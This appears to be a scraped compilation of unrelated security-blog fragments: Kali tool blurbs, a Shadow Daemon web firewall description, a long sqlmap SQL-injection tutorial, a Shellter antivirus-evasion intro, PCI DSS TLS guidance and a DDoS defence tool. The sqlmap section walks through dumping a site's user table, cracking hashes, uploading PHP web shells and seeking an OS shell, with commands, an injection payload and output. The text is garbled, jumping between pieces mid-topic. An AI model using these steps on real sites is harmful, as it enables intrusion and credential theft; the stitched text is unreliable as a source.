CMS Identification

blindelephant

The BlindElephant Web Application Fingerprinter attempts to discover the version of a (known) web application by comparing static files at known locations against precomputed hashes for versions of those files in all all available releases. The technique is fast, low-bandwidth, non-invasive, generic, and highly automatable.

Kali is an awesome distribution for pentesting. But with so many choices, one may find it daunting to find a specific tool for a task without having used it before. Or maybe you’re wondering about some tools but don’t feel like testing every single one. So I decided to briefly go over the tools provided by Kali and provide a quick description. Where available, I will use the ones presented on their respective websites / manpages etc.

So, let’s begin!

DNS Analysis

dnsdict6

Enumerates a domain for DNS entries, it uses a dictionary file if supplied or a built-in list otherwise. This tool is based on dnsmap by gnucitizen.org.

Web Application Firewall Server: Shadow Daemon is a collection of tools to detect, record and preventattacks on web applications. Technically speaking, Shadow Daemon is a web application firewall that intercepts requests and filters out malicious parameters. It is a modular system that separates web application, analysis and interface to increase security, flexibility and expandability.

This is the main component that handles the analysis and storage of requests.

Shadow Daemon is easy to install and can be managed with a clear and structured web interface. The interface lets you examine attacks in great detail. If you just want to protect your site, but otherwise do not care about attacks you can forget about the web interface once Shadow Daemon is installed and configured.The interface also comes with shell scripts that can be used to send weekly reports via e-mail, rotate the logs and the like.

Web Application Firewall Server

High coverage

Shadow Daemon uses small connectors on application level to intercept requests. This guarantees that the analyzed data is exactly the same as the input data of the web application, a task many firewalls fail to do properly. The installation of the connectors is easy and does not require coding abilities.

At the moment the following programming languages, libs and frameworks are supported:

PHP
Perl
- CGI
- Mojolicious
- Mojolicious::Lite
Python
- CGI
- Django
- Werkzeug
- Flask

Additional connectors are planned by developer and will be released at some point in the future.

Accurate detection

Shadow Daemon combines blacklisting, whitelisting and integrity checking to accurately detect malicious requests. The blacklist makes use of sophisticated regular expressions to search for known attack patterns in the user input. The whitelist on the other hand searches for irregularities in the user input based on strict rules that define how the input should look like. The integrity check compares cryptographically secure checksums of the executed scripts against predefined values.

Together they can detect almost any attack on a web application and still have a very low false-positive rate.

Shadow Daemon is able to detect common attacks like:

SQL injections
XML injections
Code injections
Command injections
Cross-site scripting
Local/remote file inclusions
Backdoor access
And more …

Discreet protection

Unlike many other web application firewalls Shadow Daemon does not completely block malicious requests if possible. Instead it only filters out the dangerous parts of a request and lets it proceed afterwards. This makes attacks impossible, but does not unnecessary frustrate visitors in the case of false-positives.

Secure architecture

Shadow Daemon is closer to the application than most other web application firewalls. It receives exactlythe same input that the web application receives and thus it is almost impossible to bypass the detection by obfuscating the attack. However, the most complex parts of Shadow Daemon are separated from the web application to guarantee a certain standard of security.

Who should use Shadow Daemon?

Shadow Daemon is for people who want to run their own dynamic website without constantly having to worry about attacks and vulnerabilities.
Shadow Daemon is for people who want to know if and how their website is attacked.
Shadow Daemon is for people who do not want to blindly place their trust in closed-source software that does its work in secret and costs a fortune.

Installation

Preparation

Use cmake to configure and prepare the project. It is a good idea to create a separate directory for this. A typical installation might look like this.

mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX:PATH=/usr -DCMAKE_BUILD_TYPE=Release ..

Compilation

If cmake is successful it creates a makefile. Use it to compile and install the project.

make shadowd
make install

Database

Install and configure a database server. At the moment shadowd officially supports PostgreSQL and MySQL. Afterwards create a new user and database for shadowd and import the correct layout.

If you are using PostgreSQL you can use psql to import the layout.

psql -Ushadowd shadowd < /usr/share/shadowd/pgsql_layout.sql

If you are using MySQL you can use mysql to import the layout. The user requires the CREATE ROUTINEprivilege.

mysql -ushadowd -p shadowd < /usr/share/shadowd/mysql_layout.sql

Configuration

The installer copies the configuration file to /etc/shadowd/shadowd.ini. The file is annotated and should be self-explanatory.

Source && Download

https://github.com/zecure/shadowd

Sqlmap is one of the most popular and powerful sql injection automation tool out there. Given a vulnerable http request url, sqlmap can exploit the remote database and do a lot of hacking like extracting database names, tables, columns, all the data in the tables etc. It can even read and write files on the remote file system under certain conditions. Written in python it is one of the most powerful hacking tools out there. Sqlmap is the metasploit of sql injections.

Sqlmap is included in pen testing linux distros like kali linux, backtrack, backbox etc. On other distros it can be simply downloaded from the following url

http://sqlmap.org/.

Since its written in python, first you have to install python on your system. On ubuntu install python from synaptic. On windows install activestate python.

For the list of options and parameters that can be used with the sqlmap command, check the sqlmap documentation at
https://github.com/sqlmapproject/sqlmap/wiki/Usage

In this tutorial we are going to learn how to use sqlmap to exploit a vulnerable web application and see what all can be done with such a tool.

To understand this tutorial you should have thorough knowledge of how database driven web applications work. For example those made with php+mysql.

Vulnerable Urls

Lets say there is a web application or website that has a url in it like this

http://www.site.com/section.php?id=51

and it is prone to sql injection because the developer of that site did not properly escape the parameter id. This can be simply tested by trying to open the url

http://www.site.com/section.php?id=51'

We just added a single quote in the parameter. If this url throws an error or reacts in an unexpected manner then it is clear that the database has got the unexpected single quote which the application did not escape properly. So in this case this input parameter "id" is vulnerable to sql injection.

Hacking with sqlmap

Now its time to move on to sqlmap to hack such urls. The sqlmap command is run from the terminal with the python interpreter.

python sqlmap.py -u "http://www.site.com/section.php?id=51"

The above is the first and most simple command to run with the sqlmap tool. It checks the input parameters to find if they are vulnerable to sql injection or not. For this sqlmap sends different kinds of sql injection payloads to the input parameter and checks the output. In the process sqlmap is also able to identify the remote system os, database name and version. Here is how the output might look like

[*] starting at 12:10:33

[12:10:33] [INFO] resuming back-end DBMS 'mysql' 
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5

So the sqlmap tool has discovered the operating system, web server and database along with version information. Even this much is pretty impressive. But its time to move on and see what more is this tool capable of.

Discover Databases

Once sqlmap confirms that a remote url is vulnerable to sql injection and is exploitable the next step is to find out the names of the databases that exist on the remote system. The "--dbs" option is used to get the database list.

$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs

The output could be something like this

[*] starting at 12:12:56

[12:12:56] [INFO] resuming back-end DBMS 'mysql' 
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*] information_schema
[*] safecosmetics

The output shows the existing databases on the remote system.

Find tables in a particular database

Now its time to find out what tables exist in a particular database. Lets say the database of interest over here is 'safecosmetics'

Command

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics

and the output can be something similar to this

[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'
[11:55:19] [INFO] heuristics detected web page charset 'ascii'
[11:55:19] [INFO] the SQL query used returns 216 entries
[11:55:20] [INFO] retrieved: acl_acl
[11:55:21] [INFO] retrieved: acl_acl_sections                                                                                
........... more tables

isnt this amazing ? it if ofcourse. Lets get the columns of a particular table now.

Get columns of a table

Now that we have the list of tables with us, it would be a good idea to get the columns of some important table. Lets say the table is 'users' and it contains the username and password.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users

The output can be something like this

[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'
[12:17:41] [INFO] heuristics detected web page charset 'ascii'
[12:17:41] [INFO] the SQL query used returns 8 entries
[12:17:42] [INFO] retrieved: id
[12:17:43] [INFO] retrieved: int(11)                                                                                         
[12:17:45] [INFO] retrieved: name                                                                                            
[12:17:46] [INFO] retrieved: text                                                                                            
[12:17:47] [INFO] retrieved: password                                                                                        
[12:17:48] [INFO] retrieved: text                                                                                            

.......

[12:17:59] [INFO] retrieved: hash
[12:18:01] [INFO] retrieved: varchar(128)
Database: safecosmetics
Table: users
[8 columns]
+-------------------+--------------+
| Column            | Type         |
+-------------------+--------------+
| email             | text         |
| hash              | varchar(128) |
| id                | int(11)      |
| name              | text         |
| password          | text         |
| permission        | tinyint(4)   |
| system_allow_only | text         |
| system_home       | text         |
+-------------------+--------------+

So now the columns are clearly visible. Good job!

Get data from a table

Now comes the most interesting part, of extracting the data from the table. The command would be

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users

The above command will simply dump the data of the particular table, very much like the mysqldump command.
The output might look similar to this

+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| id | hash               | name      | email     | password | permission | system_home | system_allow_only |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| 1  | 5DIpzzDHFOwnCvPonu | admin     | <blank>   | <blank>  | 3          | <blank>     | <blank>           |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+

The hash column seems to have the password hash. Try cracking the hash and then you would get the login details rightaway. sqlmap will create a csv file containing the dump data for easy analysis.

So far we have been able to collect a lot of information from the remote database using sqlmap. Its almost like having direct access to remote database through a client like phpmyadmin. In real scenarios hackers would try to gain a higher level to access to the system. For this, they would try to crack the password hashes and try to login through the admin panel. Or they would try to get an os shell using sqlmap.

What Next ?

Execute arbitrary sql queries

This is probably the easiest thing to do on a server that is vulnerable to sql injection. The --sql-query parameter can be used to specify a sql query to execute. Things of interest would be to create a user in the users table or something similar. Or may be change/modify the content of cms pages etc.

Another paramter --sql-shell would give an sql shell like interface to run queries interactively.

Get inside the admin panel and play

If the website is running some kind of custom cms or something similar that has an admin panel, then it might be possible to get inside provided you are able to crack the password retrieved in the database dump. Simple and short length passwords can be broken simply by brute forcing or google.com.

Check if the admin panel allows to upload some files. If an arbitrary php file can be uploaded then it be a lot greater fun. The php file can contain shell_exec, system ,exec or passthru function calls and that will allow to execute arbitary system commands. Php web shell scripts can be uploaded to do the same thing.

Shell on remote OS

This is the thing to do to completely takeover the server. However note that it is not as easy and trivial as the tricks shown above. sqlmap comes with a parameter call --os-shell that can be used to try to get a shell on remote system, but it has many limitations of its own.

According to the sqlmap manual

It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

The most important privilege needed by the current database user is to write files through the database functions. This is absent in most cases. Hence this technique will not work in most cases.

Note

1. Sometimes sqlmap is unable to connect to the url at all. This is visible when it gets stuck at the first task of "testing connection to the target url". In such cases its helpful to use the "--random-agent" option. This makes sqlmap to use a valid user agent signature like the ones send by a browser like chrome or firefox.

2. For urls that are not in the form of param=value sqlmap cannot automatically know where to inject. For example mvc urls like http://www.site.com/class_name/method/43/80.

In such cases sqlmap needs to be told the injection point marked by a *

http://www.site.com/class_name/method/43*/80

The above will tell sqlmap to inject at the point marked by *

3. When using forms that submit data through post method then sqlmap has to be provided the post data in the "--data" options.

Shellter is found at the website www.shellterproject.com and is a shellcode injector. I have been using the tool to demonstrate to customers how simple it is to bypass antivirus (AV) detection using programs that would have otherwise been detected as suspicious or possible threats within typical from AV analysis engines.

Disclaimer – Our tutorials are designed to aid aspiring pen testers/security enthusiasts in learning new skills, we only recommend that you test this tutorial on a system that belongs to YOU. We do not accept responsibility for anyone who thinks it’s a good idea to try to use this to attempt to hack systems that do not belong to you

The Install

To install Shellter on Kali Linux use the following commands:
apt-get update
apt-get install shellter

Foreword

As a pentester, I love server-side vulnerabilities more than client-side ones. Why? Because it’s way much cooler to take over the server directly and gain system SHELL privileges. <(￣︶￣)>
Of course, both vulnerabilities from the server-side and the client-side are indispensable in a perfect penetration test. Sometimes, in order to take over the server more elegantly, it also need some client-side vulnerabilities to do the trick. But speaking of finding vulnerabilities, I prefer to find server-side vulnerabilities first.
With the growing popularity of Facebook around the world, I’ve always been interested in testing the security of Facebook. Luckily, in 2012, Facebook launched the Bug Bounty Program, which even motivated me to give it a shot.

RouterSploit consists of various modules that aids penetration testing operations:

In the last article, we had reported how Iranian hackers were able to glean information from Google about the dams in US cities in order to infiltrate and flood the cities. The hackers used a method known as Google Dorking which has been used ever since Google was launched.

The Payment Card Industry Data Security Standard (PCI DSS) is conventionally released every three years. In Nov 2013, PCI DSS v.3.0 of PCI DSS was released with the next revision expected to be released in 2016. However, in April 2015, PCI Security Standards Council released an untimely version PCI DSS v.3.1. The reason behind this was to overcome threats imposed by early Transport Layer Security (TLS) and Secure Sockets Layer (SSL) protocols. Though SSL was succeed in 1999 by TLS, it was still being used until 2014 till the discovery of browser attack POODLE. Furthermore, discovery of other unfixable vulnerabilities like FREAK and WinShock resulted in PCI SSC disapproving their use and release the update ahead of time.

The revision states that SSL and early versions of TLS cannot be used anymore as they are weak encryption protocols for sending cardholder data across web servers and browsers.

The requirements that are directly affected by PCI DSS v3.1 are:

2.3 – (Requires encryption for services and protocols such as VPNs, FTP, Telnet, file share, etc.)
3 – (Requires encryption for non-console administrative access)
1 – (Requires encryption and implementation of security protocols to protect cardholder data during transmission over open, public networks.)

How to Know if your Organization is using SSL/TLS?

SSL/TLS protocol is commonly used for encryption purposes. There is a high possibility that your organization is using it to transmit critical information over unsecured network. For identifying SSL/TLS version being used, call the vendor and ask for the version. Then update or reconfigure your software accordingly.

Always keep in mind to conduct internal and external vulnerability scans for identifying unsecured SSL-based applications. If you are using windows XP, always know that the operating system is not supported and also running outdated browser versions or Internet Explorer is an open invitation to malicious individuals.

What Needs to be Done?

Merchants were forbidden to use early TLS and SSL in any new technology after April 2015. Furthermore, after June 2016, these cannot be used as security protocols for cardholder data protection. Merchants that are already using technologies based upon these protocols need to create and implement risk mitigation and migration plan. The migration plan needs to be detailed and implemented before deadline. Point of Sale (PoS) terminals that have never been exposed to vulnerabilities of TLS and SSL can continue to use these protocols after 30th June, 2016.

Plan of action depends upon your need for upgradation or reconfiguration of the system, or a little bit of both.

Disable SSL 3.0 in your software to reconfigure. Take instructions from vendor or from online forums.
Buy latest software version from vendor to upgrade and configure for latest TLS version.
Encrypt data with strong application or field level cryptography before transmitting data over early TLS or SSL.

To make sure no vulnerabilities are found, conduct penetration tests and vulnerability scans. Apply “automatic updates” settings in browser.

What Can E-Commerce Websites Do to Eliminate SSL / Early TLS?

E-commerce websites can be easily affected by SSL and early TLS related threats because of their web-based interface. Until migration is done, servers should be reduced to a minimum number to minimize any loss resulting from potential threats. If migration cannot be carried out at once, the reason for this should be documented and mentioned in Risk Mitigation and Migration Plan.

What Can Small Merchants Do to Eliminate SSL / Early TLS?

According to PCI DSS v.3.1 update, Small merchants are also supposed to remove SSL / early TLS protocols from cardholder data environment for ensuring security of data. For POS terminal security, small merchants need to contact terminal providers or merchants banks for SSL vulnerability assessments. Other interfaces like servers, virtual payment terminals and user computers should be validated and an immediate action for upgradation or reconfiguration should be undertaken.

Migrating Safely from SSL/Early TLS

PCI SSC has suggested the following outline to migrate from SSL/Early TLS to another alternate:

Identify data flows and system components that support vulnerable protocols.
Identify the business or technical need to use the vulnerable protocol for each data flow or system component.
Remove all such occurrences of vulnerable protocols which are not supported by a business or a technical need.
Identify which technologies can replace the protocols and also develop complete documentation of secure configurations that are planned for implementation.
Document the migration plan that outlines steps and timeframes of each update.
Deploy controls of risk reduction to counter the effect of known vulnerabilities till all vulnerable protocols are permanently removed.
Follow the change control procedures to make sure that all updates are authorized.
Upgrade system configuration standards after migration process is complete.

Source: Infosecnewswire

Bohatei, a free DDoS defense tool that works using SDN and NFV. This tool defense 500Gbps DDoS attack and successfully handle any dynamic attack scenarios.

Features and File information:

An implementation of the FlowTags framework for the OpenDaylight controller
An implementation of the resource management algorithms
A topology file that was used to simulate an ISP topology
Scripts that facilitate functions such as spawning, tearing down and retrieving the topology.
Scripts that automate and coordinate the components required for the usecases examined.

The folder “frontend” contains required files for the web interface. For the experiments performed, we used a set of VM images that contain implementations of the strategy graphs for each type of attack (SYN Flood, UDP Flood, DNS Amplification and Elephant Flow). Those images will become available at a later stage.

The tools that were used for those strategy graphs are the following:

Bro
Snort
Balancer
Iptables
Iperf
Custom scripts to simulate the attacks

Short video about Bohatei

For more information about Bohatei you can visit Github. You can check out Bohatei papers here and slides here.

Free Download: Bohatei (from github)

Source: Latesthackingnews